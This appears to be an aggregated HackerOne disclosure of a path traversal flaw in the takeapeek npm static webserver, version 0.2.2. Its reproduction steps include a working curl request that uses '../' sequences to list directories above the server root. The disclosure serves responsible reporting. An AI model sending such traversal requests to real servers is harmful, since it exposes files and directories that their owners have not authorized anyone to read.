Lucene search

K
hackeroneAbdilahrf_H1:403736
HistorySep 01, 2018 - 5:13 a.m.

Node.js third-party modules: [takeapeek] Path traversal allow to expose directory and files

2018-09-0105:13:41
abdilahrf_
hackerone.com
27

0.001 Low

EPSS

Percentile

48.4%

I would like to report Path Travelsal in takeapeek
It allows attacker to list directory and files.

Module

module name: takeapeekversion:0.2.2npm page: https://www.npmjs.com/package/takeapeek

Module Description

A simple static webserver with only one command. Heavily inspired by glance, this is really more of a learning experience then anything.

Module Stats

~100 downloads per month

Vulnerability

Vulnerability Description

Attacker was able to exploit path traversal and view sensitive directory and files.

Steps To Reproduce:

  • npm i takeapeek
  • node node_modules/takeapeek/dist/bin.js
  • curl --path-as-is http://localhost:3141/../../../../../../

F340897

Supporting Material/References:

  • OS: Windows 10
  • NODE: v10.8.0
  • NPM : 6.2.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

It allows attacker to list directory and files.

0.001 Low

EPSS

Percentile

48.4%